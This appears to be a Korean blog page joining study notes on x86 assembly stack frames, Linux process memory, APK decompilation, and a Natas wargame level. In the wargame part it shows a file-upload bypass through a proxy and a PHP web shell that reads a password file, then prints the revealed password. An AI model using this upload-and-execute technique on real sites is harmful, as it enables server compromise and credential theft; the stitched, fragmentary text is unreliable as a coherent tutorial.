 mov     dword [ebp-4],  0

 dec     dword [ebp+12]


sum 변수 값을 초기화 시켜주고 






push 5 값인 ebp+12 를 1 감소 시켜준다. 



mov   ebx,    dword [ebp+12]

        cmp     ebx,    0

        jl      end

        mov     edx,    dword [ebp+8]

        mov     eax,    [ edx + ebx *4 ]

        add     dword [ebp-4],eax

        dec     dword [ebp+12]

        jmp     for




이제 위에 했던거 처럼 반복문을 수행하고 main으로 리턴 시켜준다 














<?  


function genRandomString() { 

    $length = 10; 

    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 

    $string = "";     


    for ($p = 0; $p < $length; $p++) { 

        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 

    } 


    return $string; 


function makeRandomPath($dir, $ext) { 

    do { 

    $path = $dir."/".genRandomString().".".$ext; 

    } while(file_exists($path)); 

    return $path; 


function makeRandomPathFromFilename($dir, $fn) { 

    $ext = pathinfo($fn, PATHINFO_EXTENSION); 

    return makeRandomPath($dir, $ext); 


if(array_key_exists("filename", $_POST)) { 

    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 



        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 

        echo "File is too big"; 

    } else { 

        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 

            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 

        } else{ 

            echo "There was an error uploading the file, please try again!"; 

        } 

    } 

} else { 

?> 



<form enctype="multipart/form-data" action="index.php" method="POST"> 

<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 

Choose a JPEG to upload (max 1KB):<br/> 

<input name="uploadedfile" type="file" /><br /> 

<input type="submit" value="Upload File" /> 

</form> 

<? } ?> 


소스를 분석해보면 모든 파일이 이름도 무작위로 바뀌고 확장자도 jpg로 바뀌는걸 확인 할 수 있었다

그래서 프록시를 통해 jpg를 php 파일로 바꿔주고 업로드 한다 



php  파일은 비밀번호가 바로 출력되게 하였다


<?php


system("cat /etc/natas_webpass/natas13");

?>


jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

3. 함수

-함수(function)이라는 개념이 없다.

-스택 메모리의 이해


// sub routine

// procedure -> 절차(x)


int sum( int a, int b)


{

return a+b

}


int main()

{

int result =0;

result =sum(10,20);

printf("sum:%d\n",result);


return 0;

}



지역 변수는 함수가 호출될때 생성되고 끝나면 메모리에서 없어진다

스택메모리를 이용해서 함수를 표시한다.



1. 실행중인 프로세스의 전체 메모리 구조

-basic3.c

#include <stdio.h>


int main()

{


        printf("hello, world\n");

        sleep(100000);


        return 0;

}


실행중일때 메모리 구성이 어떻게 되는지 확인해보면

1.ctrl + z (중지가 아니라 백그라운드로 넘긴다)

2.jobs


3.ps -ef

  1)프로세스 아이디를 확인한다 802번


4.cd /proc/

  1) 802번 디렉토리로 접속하면 정보를 확인할 수 있다


5.cd 802

  1).maps <-실행파일 메모리 공간을 확인할 수 있다.


 




low <-------------------------------------------------------------------> high

0x00000000~0x08048000             사용불가

0x08048000~0x08049000             text segment  (4k) 실행 권한이 r-xp

0x08049000~0x0804aFFF             data segment (.data, .bss, heap 메모리 영역이 포함되어 있음) (4k) 실행권한이 rw-p

                                      ----------- 데이터메모리영역 (a.out)


0x0804aFFF~0x40000000 예약된 메모리 (heap)을 위한


0x40000000~0x40013000 lib

0x40013000~0x40014000

                                        -----------  공유라이브러리 


0x4001c000~0x40109000 libc

0x40109000~0x4010d000

                                        -----------  공유라이브러리

 

0x4010d000~0xbfffe000 예약된 메모리 (stack)을 위한


0xbfffe000~0xbfffffff                  stack(static) 메모리 (지역, 환경변수, 함수가 들어있음)


c0000000 부터는 커널이 사용 (사용할 수 없음)


! heap메모리는 할당할수록 크기가 커지지만 커널은 할당할수록 stack쪽으로 내려온다.


! 중간비어있는 부분은 예약된 메모리


! stack메모리는 함수가 실행될때 크기를 잡으므로 그때그때 필요한만큼 할당해서 쓰므로

  모든 메모리에서 스택을 쓸 경우 stack에서 가져다가 쓴다. (rwx) 모두가 공통으로 사용하는 메모리이다.

  이부분에서 취약점이 발생하는데 stack은 모든 권한을 가지고있다.


메모리 보호기법은 스택의 실행 권한을 뺐는것이다.


stack

LIFO(last in first out)

주소가 낮아지면 낮아질수록 사용량이 많다

push로 스택을 쌓을수 있다.

한번 푸쉬할때 마다 기본적으로 4byte 씩 정렬된다.

pop 로 스택을 가져올수 있다.(맨위에 있는것만 pop할 수 있다)

가장 윗쪽에 있는 부분을 top  위치는 push와 pop에 의해 유동적으로 변한다.



esp 레지스터가 stack pionter <- top의 주소를 나타낸다 유동적으로 계속 변한다. 정렬단위 4 byte

ebp 레지스터 base pointer 한번 설정되면 값이 바뀌지 않는 레지스터(기준점을 잡을때 사용)

스택상에서 주소를 값으로 갖는다.


stack.asm


extern printf



segment         .data

prompt_hex      db      'esp:0x%08x',10,00



segment         .text

global  main


main:

        push    esp

        push    prompt_hex

        call    printf


        push    esp

        push    prompt_hex

        call    printf



결과값 

esp:0xbffffb3c

esp:0xbffffb34

8바이트 차이가 나는데 


push esp , push prompt_hex  두번 push를 하니까 4byte씩 이동한다.


l0xbffffb34l

l    4byte l push prompt_hex              

l    4byte l push esp

l0xbffffb3c  l

l          l push prompt_hex

l         l push esp

l         l      

l0xbfffffff    l



[실습 ] -jmp 를 이용해서 함수 구현


int result =0;

int a,b;



int sum( )

{

return a+b

}


int main()

{

result =sum(10,20);

printf("sum:%d\n",result);


return 0;

}


extern printf


segment         .data

prompt  db      'sum:%d',10,00



segment         .bss

result  resd    1

a       resd    1

b       resd    1



segment         .text

global main



sum:

        mov     eax,    dword [a]

        add     eax,    dword [b]

        mov     dword [result],eax

        jmp     return


main:

        mov     dword [a],      10 ;명령어의 주소가 eip에 들어가 있다. (cpu가 참조)

        mov     dword [b],      20 ;어떤 명령어가 실행할지는 eip를 보고 정한다.

        jmp     sum ;


         call     sum

return:

        push    dword [result] ;jmp sum 을 실행할때 eip 값이 여기 있는데 이걸 stack에 저장해서 사용한다

        push    prompt

        call    printf


이렇게 표현하면 프로그램이 엉망이 되기때문에 쓰면 안된다.






[실습 ] -stack 함수 구현



extern printf


segment         .data

prompt  db      'sum:%d',10,00



segment         .bss

result  resd    1

a       resd    1

b       resd    1



segment         .text

global main



sum:

        mov     eax,    dword [a]

        add     eax,    dword [b]

        mov     dword [result],eax

        ;pop      eip

         ret

main:

        mov     dword [a],      10 ;명령어의 주소가 eip에 들어가 있다. (cpu가 참조)

        mov     dword [b],      20 ;어떤 명령어가 실행할지는 eip를 보고 정한다.

        ;push    eip

        ;jmp     sum

        call     sum


        push    dword [result] ;jmp sum 을 실행할때 eip 값이 여기 있는데 이걸 stack에 저장해서 사용한다

        push    prompt

        call    printf


eip가 다음 수행할 명령어의 주소를 저장해두는 곳인데  만약 jmp sum 하기전에 eip 값을

스택에 저장하면 eip에는 push dword [result] 의 주소가 들어가 있다

jmp sum을 하고나서는 값을 더해주고 다시 push dword [result]로 와야하는데 이때 레이블을 안쓰고도

eip 주소를 이용해서 pop 해주면 돌아올수 있다.


nasm 에서는 eip를 못써서


push eip +jmp sum = call sum

pop eip =ret


이런식으로 사용한다.



Stack 메모리를 static 메모리 라고도 한다.



[실습 ] -stack 이용해서 함수 구현(지역변수 사용)


int sum(int a,int b )

{

return a+b

}


int main()

{

int result =0;

result =sum(10,20);

printf("sum:%d\n",result);


return 0;

}


extern printf


segment         .data

prompt  db      'sum:%d',10,00



segment         .bss



segment         .text

global main



sum:

        push    ebp

        mov     ebp,    esp


        mov     ebx,    dword [ebp+8]

        add     ebx,    dword [ebp+12]


        mov     eax,    ebx


        ;function epilogue

        ;mov    esp,    ebp

        ;pop    ebp

        leave

        ret


main:

        ;function prologue

        push    ebp

        mov     ebp,    esp

        sub     esp,    4


        push    20

        push    10

        call    sum

        add     esp,    8


        mov     dword [ebp-4],eax


        push    dword [ebp-4]

        push    prompt

        call    printf


        ;mov    esp,    ebp

        ;pop    ebp

        leave

        ret




1. main 

 push    ebp

 mov     ebp,    esp

 sub     esp,    4


main에서 ebp를 push하고

ebp에 esp를 push 하고

esp-4 를 해서 지역변수 result 값이 들어가는 위치를 확보한다


그림으로 표시해보면 

 

result  //esp -4를 해서 위치를 확보한다.

push ebp //esp 위치  

push eip  //main 호출하면 설정된다



2. push    20

   push    10

   call    sum

 

 push eip //push eip

 push 10 //push 10

 push 20 //push 20

 result

 push ebp

 push eip



call sum 의 의미는 push eip +jmp sum 이다



3.jmp sum 에 의해서 

   push    ebp

        mov     ebp,    esp


        mov     ebx,    dword [ebp+8]

        add     ebx,    dword [ebp+12]


        mov     eax,    ebx


sum 함수의 기준점을 설정해주기 위해서

push ebp

mov ebp, esp 를 해준다



 push ebp  <- esp  설정 

 push eip //push eip

 push 10 //push 10

 push 20 //push 20

 result

 push ebp

 push eip




4. mov     ebx,    dword [ebp+8]

   add     ebx,    dword [ebp+12]

   

   mov     eax,    ebx


   ;function epilogue

   ;mov    esp,    ebp

   ;pop    ebp

    leave

    ret



기준점 [ebp+8](push 10)  ebx에 대입해준다

add   ebx + [ebp+12](push 20)  ebx 에 30이 저장된다

mov eax,ebx eax에 30을 대입해준다. 

eax는 따로 지정안하면 리턴값을 저장하는 용도로 사용한다.

이제 함수 epilogue 하면서 main 함수로 돌아 간다










[ebp +12]

ㅡㅡㅡㅡㅡ

[ebp+8]

ㅡㅡㅡㅡㅡ

Saved ebp

ㅡㅡㅡㅡㅡ

Saved eip

ㅡㅡㅡㅡㅡ

10

ㅡㅡㅡㅡㅡ

20

ㅡㅡㅡㅡㅡ

result   <-[ebp -4]

ㅡㅡㅡㅡㅡ 

Saved ebp  <-ebp 

ㅡㅡㅡㅡㅡ

Saved eip    

ㅡㅡㅡㅡㅡ


1.Saved eip는 이미 실행된 상태에서 main 함수가 실행될것이다

2.push ebp

  mov  ebp,esp

  ebp의 값을 






ebp 라는 기준점을 세워둔다 

ebp를 우선 가지고와서 사용하고 나중에는 원래있던 곳으로 보내야하니까 ebp를 우선 저장해놓고

ebp를 기준으로 4바이트씩 이동해서 

함수 끝에 eax는 return을 의미한다


꼭 회수는 해야한다.











저번처럼 서버에 접속한다








dex2jar 를 사용해서 파일을 만들어준다


java 디컴파일 툴을 이용해서 파일을 올려준다 소스코드를 확인하기 위해서 (버전 업데이트가 안되서 못씀)







그럼 뭘 쓰냐


Bytecode 를 사용한다 이 툴은 위에서 했던것 다 필요없이 apk 파일만 올리면 알아서 자바 소스코드를보여준다







PostLogin.class 에서





파일명을 변경해준다.



+ Recent posts